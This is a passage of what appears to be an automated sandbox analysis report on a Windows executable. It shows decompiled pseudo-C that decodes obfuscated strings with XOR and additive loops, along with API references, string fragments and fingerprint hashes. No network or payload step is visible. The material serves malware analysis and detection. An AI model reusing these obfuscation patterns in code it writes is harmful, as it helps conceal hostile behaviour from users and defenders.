					 *((char*)(_t734 + _t590 + 0x10)) =  *((intOrPtr*)(_t734 + _t590 + 0x10)) +  *((intOrPtr*)(_t734 + _t590 + 0x20));
					 *((char*)(_t734 + _t590 + 0x11)) =  *((intOrPtr*)(_t734 + _t590 + 0x11)) +  *((intOrPtr*)(_t734 + _t590 + 0x21));
					_t491 = _t590 + 0x12; // 0x7c
					 *((char*)(_t734 + _t590 + 0x12)) =  *((intOrPtr*)(_t734 + _t491)) +  *((intOrPtr*)(_t734 + _t590 + 0x22));
					 *((char*)(_t734 + _t590 + 0x13)) =  *((intOrPtr*)(_t734 + _t590 + 0x13)) +  *((intOrPtr*)(_t734 + _t590 + 0x23));
					 *((char*)(_t734 + _t590 + 0x14)) =  *((intOrPtr*)(_t734 + _t590 + 0x14)) +  *((intOrPtr*)(_t734 + _t590 + 0x24));
					_t590 = _t590 + 5;
					_t660 = _t660 + 0x221;
				} while (_t590 < 0xf);
				 *0x431f38 = _t660;
				_push( &_v164);
				asm("pushad");
				asm("popad");
				_t665 = 0x10;
				_v164 = 0x9e;
				_v163 = 0x5a;
				_v162 = 0x4c;
				_v161 = 0xd3;
				_v160 = 0x82;
				_v159 = 0x4f;
				_v158 = 0x90;
				_v157 = 0x73;
				_v156 = 0x45;
				_v155 = 0xda;
				_v154 = 0x5e;
				_v153 = 0xa0;
				_v152 = 0xe3;
				_v151 = 0x65;
				_v150 = 0x80;
				_v149 = 0x16;
				_v180 = 0x16;
				_v179 = 0xf8;
				_v178 = 0x20;
				_v177 = 0xd1;
				_v176 = 0xd4;
				_v175 = 0x30;
				_v174 = 0xbf;
				_v173 = 0x33;
				_v172 = 0x36;
				_v171 = 0xe7;
				_v170 = 0x20;
				_v169 = 0xee;
				_v168 = 0xbf;
				_v167 = 0xd;
				_v166 = 0x1b;
				_v165 = 0xd3;
				_t625 = E0041E2E0( &_v180, _t665);
				 *((intOrPtr*)(_t731 + 0x164)) = 0;
				 *((intOrPtr*)(_t731 + 0x16c)) = 0;
				 *((intOrPtr*)(_t731 + 0x184)) = 0;
				 *((intOrPtr*)(_t731 + 0x148)) = 0;
				 *((intOrPtr*)(_t731 + 0x144)) = 0;
				 *(_t731 + 0x18c) = 0;
				 *(_t731 + 0x188) = 1;
				_t666 = 0x50;
				memset(_t731 + 4, 0, _t666 << 2);
				_push( *((intOrPtr*)(_t731 + 0x16c)));
				_push(0);
				_t727 = _t731 + 0x180;
				_push( *((intOrPtr*)(_t731 + 0x164)));
				_push(_t727);
				 *((intOrPtr*)(_t731 + 0x168)) = 0;
				_t727->nLength = 4;
				 *((intOrPtr*)(_t731 + 0x17c)) = 0;
				if(E00423260(_t625, _t727, _t731) != 0) {
					 *(_t731 + 0x18c) = _t727;
				}
				 *((intOrPtr*)(_t731 + 0x14c)) = CreateEventA( *(_t731 + 0x18c), 1, 0,  &_v128);
				 *((intOrPtr*)(_t731 + 0x15c)) = CreateEventA( *(_t731 + 0x18c), 1, 0, _t625);
				 *((intOrPtr*)(_t731 + 0x158)) = CreateEventA( *(_t731 + 0x18c), 1, 0,  &_v96);
				 *((intOrPtr*)(_t731 + 0x150)) = CreateEventA( *(_t731 + 0x18c), 1, 0,  &_v112);
				 *((intOrPtr*)(_t731 + 0x154)) = CreateEventA( *(_t731 + 0x18c), 1, 0,  &_v164);
				 *((intOrPtr*)(_t731 + 0x160)) = 0;
				E004237E0();
				_t607 = _t731;
				return E00424873(_t607, _v28);
			}

0x0041e3a0
0x0041e3a6
0x0041e3ae
0x0041e3b5
0x0041e3b6
0x0041e3b8
0x0041e3bd
0x0041e3c2
0x0041e3c7
0x0041e3cc
0x0041e3d1
0x0041e3d6
0x0041e3db
0x0041e3e0
0x0041e3e5
0x0041e3ea
0x0041e3ef
0x0041e3f4
0x0041e3f9
0x0041e3fe
0x0041e403
0x0041e408
0x0041e40d
0x0041e412
0x0041e417
0x0041e41c
0x0041e421
0x0041e426
0x0041e42b
0x0041e430
0x0041e435
0x0041e43a
0x0041e43f
0x0041e444
0x0041e449
0x0041e44e
0x0041e450
0x0041e462
0x0041e46c
0x0041e476
0x0041e480
0x0041e488
0x0041e492
0x0041e496
0x0041e499
0x0041e49e
0x0041e4af
0x0041e4b0
0x0041e4b1
0x0041e4b4
0x0041e4b9
0x0041e4ba
0x0041e4bd
0x0041e4be
0x0041e4c4
0x0041e4cc
0x0041e4d4
0x0041e4db
0x0041e4e3
0x0041e4eb
0x0041e4f3
0x0041e4fb
0x0041e503
0x0041e50b
0x0041e513
0x0041e51b
0x0041e523
0x0041e52b
0x0041e533
0x0041e53b
0x0041e543
0x0041e548
0x0041e54c
0x0041e551
0x0041e555
0x0041e55a
0x0041e55e
0x0041e563
0x0041e568
0x0041e56d
0x0041e572
0x0041e577
0x0041e57c
0x0041e581
0x0041e586
0x0041e58b
0x0041e590
0x0041e595
0x0041e59a
0x0041e59f
0x0041e5a4
0x0041e5a9
0x0041e5ae
0x0041e5b3
0x0041e5b8
0x0041e5bd
0x0041e5c2
0x0041e5c7
0x0041e5cc
0x0041e5d1
0x0041e5d6
0x0041e5db
0x0041e5e0
0x0041e5e5
0x0041e5ea
0x0041e5ef
0x0041e5f4
0x0041e5f9
0x0041e5fe
0x0041e603
0x0041e608
0x0041e60d
0x0041e612
0x0041e617
0x0041e61c
0x0041e621
0x0041e626
0x0041e62b
0x0041e630
0x0041e63e
0x0041e648
0x0041e64c
0x0041e65a
0x0041e668
0x0041e672
0x0041e676
0x0041e679
0x0041e67e
0x0041e68f
0x0041e693
0x0041e6a1
0x0041e6a7
0x0041e6af
0x0041e6b7
0x0041e6be
0x0041e6c6
0x0041e6ce
0x0041e6d6
0x0041e6de
0x0041e6e6
0x0041e6ee
0x0041e6f6
0x0041e6fe
0x0041e706
0x0041e70e
0x0041e716
0x0041e71e
0x0041e726
0x0041e72b
0x0041e730
0x0041e735
0x0041e73a
0x0041e73f
0x0041e744
0x0041e749
0x0041e74e
0x0041e753
0x0041e758
0x0041e75d
0x0041e762
0x0041e767
0x0041e76c
0x0041e771
0x0041e778
0x0041e77d
0x0041e782
0x0041e787
0x0041e78c
0x0041e791
0x0041e796
0x0041e79b
0x0041e7a0
0x0041e7a5
0x0041e7aa
0x0041e7ae
0x0041e7b3
0x0041e7b8
0x0041e7bd
0x0041e7c2
0x0041e7c7
0x0041e7cc
0x0041e7d1
0x0041e7d6
0x0041e7db
0x0041e7e0
0x0041e7e5
0x0041e7ea
0x0041e7ef
0x0041e7f4
0x0041e7f9
0x0041e7fe
0x0041e803
0x0041e808
0x0041e80d
0x0041e812
0x0041e817
0x0041e820
0x0041e82e
0x0041e838
0x0041e83c
0x0041e84e
0x0041e860
0x0041e864
0x0041e867
0x0041e86b
0x0041e877
0x0041e880
0x0041e881
0x0041e888
0x0041e890
0x0041e898
0x0041e8a0
0x0041e8a8
0x0041e8b0
0x0041e8b8
0x0041e8c0
0x0041e8c8
0x0041e8d0
0x0041e8d8
0x0041e8e0
0x0041e8e8
0x0041e8f0
0x0041e8f8
0x0041e900
0x0041e908
0x0041e910
0x0041e915
0x0041e91a
0x0041e91f
0x0041e924
0x0041e929
0x0041e92e
0x0041e933
0x0041e938
0x0041e93d
0x0041e942
0x0041e947
0x0041e94c
0x0041e951
0x0041e956
0x0041e95b
0x0041e960
0x0041e965
0x0041e96e
0x0041e972
0x0041e97a
0x0041e97f
0x0041e983
0x0041e988
0x0041e98d
0x0041e991
0x0041e996
0x0041e99b
0x0041e9a0
0x0041e9a5
0x0041e9aa
0x0041e9af
0x0041e9b4
0x0041e9b8
0x0041e9bd
0x0041e9c2
0x0041e9c7
0x0041e9cc
0x0041e9d1
0x0041e9d6
0x0041e9da
0x0041e9df
0x0041e9e4
0x0041e9e9
0x0041e9ee
0x0041e9f3
0x0041e9f8
0x0041e9fd
0x0041ea02
0x0041ea07
0x0041ea0b
0x0041ea0f
0x0041ea14
0x0041ea19
0x0041ea1e
0x0041ea23
0x0041ea2a
0x0041ea2f
0x0041ea34
0x0041ea39
0x0041ea40
0x0041ea44
0x0041ea4c
0x0041ea54
0x0041ea5c
0x0041ea64
0x0041ea78
0x0041ea7b
0x0041ea7f
0x0041ea84
0x0041ea89
0x0041ea8e
0x0041ea93
0x0041ea98
0x0041ea9d
0x0041eaa2
0x0041eaa7
0x0041eaac
0x0041eab4
0x0041eabc
0x0041eac3
0x0041eacb
0x0041ead3
0x0041eadb
0x0041eae3
0x0041eae8
0x0041eaed
0x0041eaf2
0x0041eaf7
0x0041eafc
0x0041eb01
0x0041eb06
0x0041eb0b
0x0041eb10
0x0041eb15
0x0041eb1a
0x0041eb1f
0x0041eb24
0x0041eb29
0x0041eb2e
0x0041eb30
0x0041eb34
0x0041eb3c
0x0041eb44
0x0041eb4c
0x0041eb54
0x0041eb68
0x0041eb6b
0x0041eb6f
0x0041eb78
0x0041eb7f
0x0041eb84
0x0041eb85
0x0041eb88
0x0041eb89
0x0041eb8e
0x0041eb93
0x0041eb98
0x0041eb9d
0x0041eba2
0x0041eba7
0x0041ebac
0x0041ebb1
0x0041ebb6
0x0041ebbb
0x0041ebc0
0x0041ebc5
0x0041ebca
0x0041ebcf
0x0041ebd4
0x0041ebd9
0x0041ebde
0x0041ebe3
0x0041ebe8
0x0041ebed
0x0041ebf2
0x0041ebf7
0x0041ebfc
0x0041ec01
0x0041ec06
0x0041ec0b
0x0041ec10
0x0041ec15
0x0041ec1a
0x0041ec1f
0x0041ec24
0x0041ec29
0x0041ec2e
0x0041ec37
0x0041ec3c
0x0041ec41
0x0041ec46
0x0041ec4b
0x0041ec50
0x0041ec55
0x0041ec5a
0x0041ec5f
0x0041ec64
0x0041ec69
0x0041ec6d
0x0041ec72
0x0041ec77
0x0041ec7c
0x0041ec81
0x0041ec86
0x0041ec8b
0x0041ec90
0x0041ec95
0x0041ec9a
0x0041ec9f
0x0041eca4
0x0041eca9
0x0041ecae
0x0041ecb3
0x0041ecb8
0x0041ecbd
0x0041ecc2
0x0041ecc7
0x0041eccc
0x0041ecd0
0x0041ecde
0x0041ecec
0x0041ecf0
0x0041ecfa
0x0041ed10
0x0041ed22
0x0041ed26
0x0041ed29
0x0041ed2d
0x0041ed36
0x0041ed3d
0x0041ed42
0x0041ed43
0x0041ed46
0x0041ed47
0x0041ed4c
0x0041ed51
0x0041ed56
0x0041ed5b
0x0041ed60
0x0041ed65
0x0041ed6a
0x0041ed6f
0x0041ed74
0x0041ed79
0x0041ed7e
0x0041ed83
0x0041ed88
0x0041ed8d
0x0041ed92
0x0041ed97
0x0041ed9c
0x0041eda1
0x0041eda6
0x0041edab
0x0041edb0
0x0041edb5
0x0041edba
0x0041edbf
0x0041edc4
0x0041edc9
0x0041edce
0x0041edd3
0x0041edd8
0x0041eddd
0x0041ede2
0x0041edec
0x0041edee
0x0041edf4
0x0041edfc
0x0041ee02
0x0041ee08
0x0041ee0e
0x0041ee14
0x0041ee22
0x0041ee26
0x0041ee34
0x0041ee35
0x0041ee36
0x0041ee3c
0x0041ee3d
0x0041ee3e
0x0041ee44
0x0041ee4a
0x0041ee57
0x0041ee59
0x0041ee59
0x0041ee81
0x0041ee8f
0x0041eea6
0x0041eec6
0x0041eece
0x0041eed4
0x0041eeda
0x0041eee8
0x0041eef7

APIs

CreateEventA.KERNEL32(?,00000001,00000000,00000043,?,0000005E,00000000,00000059,?,?,?,?,?,000000F9,00000011), ref: 0041EE74
CreateEventA.KERNEL32(?,00000001,00000000,00000000,?,?,?,?,?,000000F9,00000011), ref: 0041EE87
CreateEventA.KERNEL32(?,00000001,00000000,00000054,?,?,?,?,?,000000F9,00000011), ref: 0041EE9E
CreateEventA.KERNEL32(?,00000001,00000000,0000007B,?,?,?,?,?,000000F9,00000011), ref: 0041EEB5
CreateEventA.KERNEL32(?,00000001,00000000,00000054,?,?,?,?,?,000000F9,00000011), ref: 0041EECC

Part of subcall function 004237E0: GetVersionExA.KERNEL32(00431F50,0041EEDF,?,?,?,?,?,000000F9,00000011), ref: 004237EF

Strings

~, xrefs: 0041E956
|,T, xrefs: 0041ECF0
4, xrefs: 0041E3E0
|, xrefs: 0041EC50
&, xrefs: 0041ECA9
s, xrefs: 0041ED6A
3, xrefs: 0041E9B8
E, xrefs: 0041E93D
,, xrefs: 0041E796
J, xrefs: 0041E900
H, xrefs: 0041E621
P, xrefs: 0041E7A0
s, xrefs: 0041EBAC
p, xrefs: 0041E51B
w, xrefs: 0041E749
', xrefs: 0041E3DB
P, xrefs: 0041EC5F
|, xrefs: 0041EA8E
v, xrefs: 0041E4EB
O, xrefs: 0041ED60
, xrefs: 0041EDC9
T, xrefs: 0041E778
Y:{, xrefs: 0041E648
3, xrefs: 0041EDBA
L, xrefs: 0041EB93
C, xrefs: 0041E960
N, xrefs: 0041E996
}, xrefs: 0041E716
0, xrefs: 0041EA02
, xrefs: 0041EDA1
O, xrefs: 0041EBA2
,, xrefs: 0041EA89
e, xrefs: 0041E8E0
,, xrefs: 0041E77D
', xrefs: 0041E5B8
N, xrefs: 0041E7BD
|, xrefs: 0041E791
0, xrefs: 0041EDB0
v, xrefs: 0041E6CE
`, xrefs: 0041E983
Y, xrefs: 0041E908
p, xrefs: 0041E586
I, xrefs: 0041E706
}, xrefs: 0041E533
|,T, xrefs: 0041E838
;, xrefs: 0041EA19
3, xrefs: 0041E73A
Y, xrefs: 0041E91F
p, xrefs: 0041E6FE
N, xrefs: 0041EADB
T, xrefs: 0041EA84
I, xrefs: 0041E523
^, xrefs: 0041EB06
A, xrefs: 0041E50B
=, xrefs: 0041E9D1
A, xrefs: 0041E6EE
E, xrefs: 0041E8B8
s, xrefs: 0041E8B0
z, xrefs: 0041E5CC
0, xrefs: 0041E3F9
,, xrefs: 0041EAA2
,, xrefs: 0041EC3C
Z, xrefs: 0041EB8E
0, xrefs: 0041E5D6
^, xrefs: 0041ED79
L, xrefs: 0041ED51
T, xrefs: 0041EC37
L, xrefs: 0041E888
E, xrefs: 0041E7C2
4, xrefs: 0041E5BD
?, xrefs: 0041E9A0
E, xrefs: 0041EBB1
:, xrefs: 0041E75D
e, xrefs: 0041EBCA
^, xrefs: 0041EBBB
{, xrefs: 0041E595
Z, xrefs: 0041ED4C
|,T, xrefs: 0041E45E, 0041EB40, 0041E650
Z, xrefs: 0041EC95
), xrefs: 0041E7AE
E, xrefs: 0041ED6F
m, xrefs: 0041E9CC
`, xrefs: 0041EC90
^, xrefs: 0041ECA4
8, xrefs: 0041E94C
), xrefs: 0041EAC3
6, xrefs: 0041EDBF
P, xrefs: 0041EAAC
^, xrefs: 0041E8C8
e, xrefs: 0041ED88
Y:{, xrefs: 0041E46C
:, xrefs: 0041E59A
:, xrefs: 0041E3BD
z, xrefs: 0041E3EF
a, xrefs: 0041E9DA
O, xrefs: 0041E8A0
|, xrefs: 0041EA9D

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CreateEvent$Version
String ID: $ $&$'$'$)$)$,$,$,$,$,$0$0$0$0$3$3$3$4$4$6$8$:$:$:$;$=$?$A$A$C$E$E$E$E$E$H$I$I$J$L$L$L$N$N$N$O$O$O$P$P$P$T$T$T$Y$Y$Y:{$Y:{$Z$Z$Z$^$^$^$^$^$`$`$a$e$e$e$m$p$p$p$s$s$s$v$v$w$z$z${$|$|$|$|$|,T$|,T$|,T$}$}$~
API String ID: 3557844603-75302382
Opcode ID: 5767038eb36ae9473cb33ba075da59353bf2898dae4d0dfcbaf8ad6feea2ffe4
Instruction ID: 9adc1e7954ab892e8f3529cc3bdcf938eb204bbbcca6515e0ffe5aaa0de77c97
Opcode Fuzzy Hash: 5767038eb36ae9473cb33ba075da59353bf2898dae4d0dfcbaf8ad6feea2ffe4
Instruction Fuzzy Hash: D782A62010C7C189D322D73C945878FFFD55BA7328F585A9DE1E85A3D3C2AA8249C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00409436, Relevance: 171.1, Strings: 136, Instructions: 1088
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E00409436(void* __eax, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, intOrPtr _a372, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a417, char _a418, char _a419, char _a420, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a433, char _a434, char _a435, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a456, char _a464, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, char _a496, char _a497, char _a498, char _a499, char _a500, char _a501, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a513, char _a514, char _a515, char _a516, char _a517, char _a520, char _a521, char _a522, char _a523, char _a524, char _a525, char _a526, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a564, char _a565, char _a566, char _a567, char _a568, char _a569, char _a570, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a593, char _a594, char _a595, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a617, char _a618, char _a619, char _a620, char _a621, char _a622, char _a623, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a657, char _a658, char _a659, char _a660, char _a661, char _a662, char _a663, char _a664, char _a668, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a712, char _a713, char _a714, char _a715, char _a716, char _a717, char _a752, char _a753, char _a754, char _a755, char _a756, char _a757, char _a758, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a784, char _a785, char _a786, char _a787, char _a788, char _a789, char _a790, char _a791, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a844, char _a845, char _a846, char _a847, char _a848, char _a849, char _a850, char _a851, char _a852, char _a853, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* __edi;
				void* _t904;
				signed int _t905;
				void* _t906;
				void* _t907;
				intOrPtr _t909;
				void* _t910;
				intOrPtr _t911;
				void* _t912;
				void* _t913;
				void* _t915;
				void* _t916;
				void* _t917;
				intOrPtr _t918;
				void* _t919;
				void* _t922;
				void* _t923;
				void* _t924;
				void* _t928;
				void* _t932;
				intOrPtr _t934;
				intOrPtr _t935;
				void* _t936;
				void* _t937;
				void* _t938;
				intOrPtr _t940;
				intOrPtr _t946;
				void* _t947;
				void* _t948;
				intOrPtr _t949;
				void* _t950;
				void* _t951;
				void* _t952;
				void* _t953;
				intOrPtr _t955;
				void* _t956;
				void* _t961;
				void* _t964;
				void* _t965;
				void* _t966;
				void* _t967;
				intOrPtr _t970;
				void* _t974;
				void* _t976;
				intOrPtr _t1013;
				void* _t1047;
				void* _t1137;
				void* _t1138;
				void* _t1140;
				void* _t1142;
				intOrPtr _t1143;
				intOrPtr _t1145;
				signed int _t1146;
				intOrPtr _t1148;
				void* _t1150;
				void* _t1151;
				void* _t1152;
				void* _t1153;
				void* _t1154;
				void* _t1156;
				void* _t1157;
				void* _t1158;
				void* _t1159;
				void* _t1160;

				_t904 = __eax;
				do {
					 *(_t1150 + _t904 + 0x1c8) =  *(_t1150 + _t904 + 0x1c8) ^  *(_t1150 + _t904 + 0x17c);
					_t904 = _t904 + 1;
				} while (_t904 < 5);
				_a520 = 6;
				_a521 = 0x34;
				_a522 = 0xa9;
				_a523 = 0x5f;
				_a524 = 3;
				_a525 = 0x7d;
				_a526 = 0x83;
				_a380 = 0x68;
				_a381 = 0x5b;
				_a382 = 0xcb;
				_a383 = 0x30;
				_a384 = 0x67;
				_a385 = 4;
				_a386 = 0x83;
				_t905 = 0;
				do {
					 *(_t1150 + _t905 + 0x208) =  *(_t1150 + _t905 + 0x208) ^  *(_t1150 + _t905 + 0x17c);
					_t905 = _t905 + 1;
				} while (_t905 < 7);
				_a488 = 0xea;
				_a489 = 0xeb;
				_a490 = 0xeb;
				_a491 = 0xea;
				_a492 = 0xe1;
				_a493 = 0x84;
				_t906 = 0;
				do {
					 *(_t1150 + _t906 + 0x1e8) =  *(_t1150 + _t906 + 0x1e8) ^ 0x00000084;
					_t906 = _t906 + 1;
				} while (_t906 < 6);
				_a592 = 0xad;
				_a593 = 0xac;
				_a594 = 0xb1;
				_a595 = 0xa6;
				_a596 = 0xb3;
				_a597 = 0xaf;
				_a598 = 0xba;
				_a599 = 0xc3;
				_t907 = 0;
				do {
					 *(_t1150 + _t907 + 0x250) =  *(_t1150 + _t907 + 0x250) ^ 0x000000c3;
					_t907 = _t907 + 1;
				} while (_t907 < 8);
				_push(8);
				_push( &_a784);
				_a784 = 0x63;
				_a785 = 0xe4;
				_a786 = 0x61;
				_a787 = 0x26;
				_a788 = 0xb9;
				_a789 = 0xf7;
				_a790 = 0xbd;
				_a791 = 0xf3;
				_a380 = 0x64;
				_a381 = 0x17;
				_a382 = 0x76;
				_a383 = 0x1b;
				_a384 = 0x6b;
				_a385 = 7;
				_a386 = 0x62;
				_a387 = 0x11;
				_t909 = E00407370( &_a380);
				_t1151 = _t1150 + 8;
				_a120 = _t909;
				_a416 = 0x35;
				_a417 = 0x6a;
				_a418 = 0x1d;
				_a419 = 0xe8;
				_a420 = 0x88;
				_a380 = 0x46;
				_a381 = 0x1a;
				_a382 = 0x7c;
				_a383 = 0x85;
				_a384 = 0x88;
				_t910 = 0;
				do {
					 *(_t1151 + _t910 + 0x1a0) =  *(_t1151 + _t910 + 0x1a0) ^  *(_t1151 + _t910 + 0x17c);
					_t910 = _t910 + 1;
				} while (_t910 < 5);
				_push(7);
				_push( &_a752);
				_a752 = 0xab;
				_a753 = 0x67;
				_a754 = 0xda;
				_a755 = 0x4a;
				_a756 = 0xa1;
				_a757 = 0xf2;
				_a758 = 0x69;
				_a380 = 0x3c;
				_a381 = 0x49;
				_a382 = 0x39;
				_a383 = 0x5d;
				_a384 = 0x3c;
				_a385 = 0x48;
				_a386 = 0x2d;
				_t911 = E00407370( &_a380);
				_t1152 = _t1151 + 8;
				_a88 = _t911;
				_a400 = 0x17;
				_a401 = 4;
				_a402 = 0xdd;
				_a403 = 0xdb;
				_a404 = 0x3c;
				_a380 = 0x29;
				_a381 = 0x5d;
				_a382 = 0x99;
				_a383 = 0x95;
				_a384 = 0xc4;
				_t912 = 0;
				do {
					 *((char*)(_t1152 + _t912 + 0x190)) =  *((intOrPtr*)(_t1152 + _t912 + 0x190)) +  *((intOrPtr*)(_t1152 + _t912 + 0x17c));
					_t912 = _t912 + 1;
				} while (_t912 < 5);
				_a432 = 4;
				_a433 = 0x87;
				_a434 = 0xf7;
				_a435 = 0xd4;
				_a436 = 0x19;
				_a380 = 0x44;
				_a381 = 0xe1;
				_a382 = 0x98;
				_a383 = 0xbb;
				_a384 = 0x19;
				_t913 = 0;
				do {
					 *(_t1152 + _t913 + 0x1b0) =  *(_t1152 + _t913 + 0x1b0) ^  *(_t1152 + _t913 + 0x17c);
					_t913 = _t913 + 1;
				} while (_t913 < 5);
				_a617 = 0x53;
				_a621 = 0x53;
				_a616 = 0x29;
				_a618 = 0xf6;
				_a619 = 0x3e;
				_a620 = 0xc8;
				_a622 = 0x8b;
				_a623 = 0xa2;
				_a380 = 0x48;
				_a381 = 0x3d;
				_a382 = 0x8f;
				_a383 = 0x51;
				_a384 = 0xa6;
				_a385 = 0x36;
				_a386 = 0xcb;
				_a387 = 0xa2;
				_t915 = 0;
				do {
					 *(_t1152 + _t915 + 0x268) =  *(_t1152 + _t915 + 0x268) ^  *(_t1152 + _t915 + 0x17c);
					_t915 = _t915 + 1;
				} while (_t915 < 8);
				_a24 = 0x88;
				_a25 = 0x99;
				_a26 = 0x8e;
				_a27 = 0xea;
				_t916 = 0;
				do {
					 *(_t1152 + _t916 + 0x18) =  *(_t1152 + _t916 + 0x18) ^ 0x000000ea;
					_t916 = _t916 + 1;
				} while (_t916 < 4);
				_a472 = 0xd;
				_a473 = 0x1a;
				_a474 = 8;
				_a475 = 0x1c;
				_a476 = 0x2f;
				_a477 = 0x6f;
				_t917 = 0;
				do {
					 *(_t1152 + _t917 + 0x1d8) =  *(_t1152 + _t917 + 0x1d8) ^ 0x0000006f;
					_t917 = _t917 + 1;
				} while (_t917 < 6);
				_push(6);
				_push( &_a712);
				_a712 = 0x49;
				_a713 = 0xc5;
				_a714 = 0x38;
				_a715 = 0xa9;
				_a716 = 0x2d;
				_a717 = 0xd6;
				_a380 = 0xde;
				_a381 = 0xbd;
				_a382 = 0xdc;
				_a383 = 0xba;
				_a384 = 0xdf;
				_a385 = 0xba;
				_t918 = E00407370( &_a380);
				_t1153 = _t1152 + 8;
				_a128 = _t918;
				_a656 = 0x47;
				_a657 = 0x33;
				_a658 = 0x6c;
				_a659 = 7;
				_a660 = 0x66;
				_a661 = 0x81;
				_a662 = 0xfd;
				_a663 = 0xe8;
				_a664 = 0x5b;
				_a380 = 0x24;
				_a381 = 0x56;
				_a382 = 0x1e;
				_a383 = 0x73;
				_a384 = 0xf;
				_a385 = 0xe7;
				_a386 = 0x94;
				_a387 = 0x8b;
				_a388 = 0x5b;
				_t919 = 0;
				do {
					 *(_t1153 + _t919 + 0x290) =  *(_t1153 + _t919 + 0x290) ^  *(_t1153 + _t919 + 0x17c);
					_t919 = _t919 + 1;
				} while (_t919 < 9);
				_a844 = 0x25;
				_a845 = 0x4b;
				_a846 = 0xfd;
				_a847 = 0x36;
				_a848 = 0x86;
				_a849 = 0xac;
				_a850 = 0x3c;
				_a851 = 0;
				_a852 = 0xc3;
				_a853 = 0x49;
				_a380 = 0x49;
				_a381 = 0x83;
				_a382 = 0x74;
				_a383 = 0x5f;
				_a384 = 0xcd;
				_a385 = 0xf4;
				_a386 = 0x42;
				_a387 = 0x93;
				_a388 = 0x24;
				_a389 = 0x46;
				_a44 = E004073E0( &_a380, 0xa,  &_a844);
				_a476 = 0xda;
				_a477 = 0x71;
				_a478 = 0x65;
				_a479 = 0x2a;
				_a480 = 0xe4;
				_a481 = 0x15;
				_a376 = 0x8e;
				_a377 = 0xf4;
				_a378 = 7;
				_a379 = 0x46;
				_a380 = 0x5c;
				_a381 = 0xeb;
				_t922 = 0;
				do {
